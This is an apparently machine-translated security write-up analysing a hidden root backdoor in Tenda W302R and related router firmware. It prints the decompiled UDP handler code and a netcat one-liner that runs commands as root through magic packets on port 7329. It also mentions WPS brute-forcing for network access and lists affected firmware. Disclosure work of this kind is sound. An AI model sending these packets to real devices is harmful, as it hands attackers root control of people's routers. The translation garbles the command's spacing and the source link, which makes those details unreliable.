So that you don’t think that D-Link is the only supplier that leaves
backdoors in its products, here’s another one -
Tenda.After extracting the latest firmware for the Tenda W302R wireless router, Craig Heffner (Craig Heffner) decided to look into / bin / httpd, which turned out to be a GoAhead web server:

But in Tenda is a modified server. Immediately before entering the HTTP receive loop, the main call to InitMfgTask spawns the MfgThread function as a separate thread:

')
The first MfgThread creates a UDP socket and listens on port 7329:

The stream then enters the recvfrom loop and reads 128 bytes from the socket. It listens to each received UDP packet having a length of 14 bytes.

The received UDP packet is then processed by this code:

An example of the same C code:
memset (rx_magic_string, 0, 0x80);
memset (command_byte, 0, 0x80);
memset (command_arg, 0, 0x80);
memcpy (rx_magic_string, rx_buf, 9);
command_byte [0] = rx_buf [11];
memcpy (command_arg, rx_buf + 12, rx_size-12);
// if it’s not a match
if (strcmp (rx_magic_string, "w302r_mfg")! = 0) goto outer_receive_loop;
We see that the socket expects a packet with the following structure:
struct command_packet_t
{
char magic [10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte
char command_byte;
char command_arg [117];
};
If the received packet starts with the string “w302r_mfg”, the code then compares the commands of three ASCII characters ('1', 'x' and 'e') in a given byte:

For simplicity, sample code in C:
switch (command_byte)
{
case 'e':
strcpy (tx_buf, "w302r_mfg");
tx_size = 9;
break;
case '1':
if (strstr (command_arg, "iwpriv")! = NULL)
tx_size = call_shell (command_arg, tx_buf, 0x800);
else
strcpy (tx_buf, "000000");
tx_size = strlen (tx_buf);
break;
case 'x':
tx_size = call_shell (command_arg, tx_buf, 0x800);
break;
default:
goto outer_receive_loop;
}
sendto (client_socket, tx_buf, tx_size, client_sock_addr, 16);
goto outer_receive_loop;
The following actions correspond to what the next byte will be:
'E' - ping
'1' - Allows you to run iwpriv commands
'X' - allows you to execute any command as root
If 'X' is defined as a command byte, the remainder of the packet after this character (the so-called command_arg in the above code) is transferred to the call_shell, which executes the command via POPEN:

Moreover, call_shell fills the tx_buf buffer with the output of the command, which, as we see from the previous C code, is sent back to the client.
Knowing the functionality of MfgThread and the package structure, we can easily reproduce this backdoor using Netcat:
$ echo -ne "w302r_mfg \ x00x / bin / ls" | nc -u -q 5 192.168.0.1 7329
drwxr-xr-x 2 0 0 1363 webroot
drwxr-xr-x 1 0 0 0 var
drwxr-xr-x 5 0 0 43 usr
drwxr-xr-x 1 0 0 0 tmp
drwxr-xr-x 2 0 0 3 sys
drwxr-xr-x 2 0 0 569 sbin
dr-xr-xr-x 39 0 0 0 proc
drwxr-xr-x 2 0 0 3 mnt
drwxr-xr-x 1 0 0 0 media
drwxr-xr-x 4 0 0 821 lib
lrwxrwxrwx 1 0 0 11 init -> bin / busybox
drwxr-xr-x 2 0 0 3 home
drwxr-xr-x 7 0 0 154 etc_ro
drwxr-xr-x 1 0 0 0 etc
drwxr-xr-x 1 0 0 0 dev
drwxr-xr-x 2 1000 100 574 bin
This package can only be sent from the local network, while the backdoor cannot be used from the global network. However, the operated wireless networks in which WPS is enabled by default are not protected against brute force. ReaverPro relatively quickly cracked WPS brute-force, providing access to the wireless network:

This backdoor is most likely first implemented in Tenda in the W302R, although it also exists in the Tenda W330R, as well as in similar models, such as the Medialink MWN-WAPR150N. All of them are also vulnerable to the “w302r_mfg” string in the UDP packet.
UPDATE:
Link to githab:
ea.imtqy.com/blog/2013/10/18/tenda-backdoorThe following firmware are subject to vulnerabilities:301r_v3.1.192_en.bin
W311r_W268R_H1_V3.3.6b_ost_staticR.bin
302r_v3.1.192_en.bin
V3.1.201d_W301R_2010_0709.bin
W368R_H3_V3.3.6h_EN_spi.bin
V3.1.201d_W302R_2010_0709.bin
3gr_H2_V3.3.0y_multi_02.bin
w368r_H1_V3.3.6l_EN.bin
U_W330R_V3.1.201d_tenda_en.bin
W368r_H1_V3.3.6b_ost_staticR.bin
3g611r_en_0607.bin.bin
U_W311R_W268R_H3_V3.3.6h_EN_spi.bin
U_3G611R_H2_V3.3.1e_MULTI_02.bin
US_W268RRA__H3_V3.3.6h_EN_SPI.bin
US_W311RRA__H3_V3.3.6h_EN_SPI.bin
w1500a_kfw_V1.0.1.22_en_svn6227.bin
U150M_V3.32.12_EN.bin
U300M_V3.32.12_EN.bin
U_W302RRA_V3.1.201d_EN.bin
US_N60BRV1_N60_V1.0.0.15_EN.bin
US_N6BRV1_N6_V2.0.0.2_EN.bin
U_W150M_EN_V3.33.13_SPI_EN.bin
U_W300M_EN_V3.33.13_SPI_EN.bin
U_W330R_V3.1.201f_en_onWISP.bin
W330R_V3.1.201d_EN.bin
W311R_H1_V3.3.5o.bin
w311r_H1_V3.3.5n_en.bin
US_N60BRV1_N60_V1.0.0.16_EN.bin
US_N80_W568Rbr_V1.0.1.8 (4428) _en_TD.bin
W311r_H1_V3.3.6b.bin
U268R_H1_V3.3.6d_EN.bin
U311R_H1_V3.3.6d_EN.bin
U150M_RT_EN_V3.32.11.bin
U300M_RT_EN_V3.32.11.bin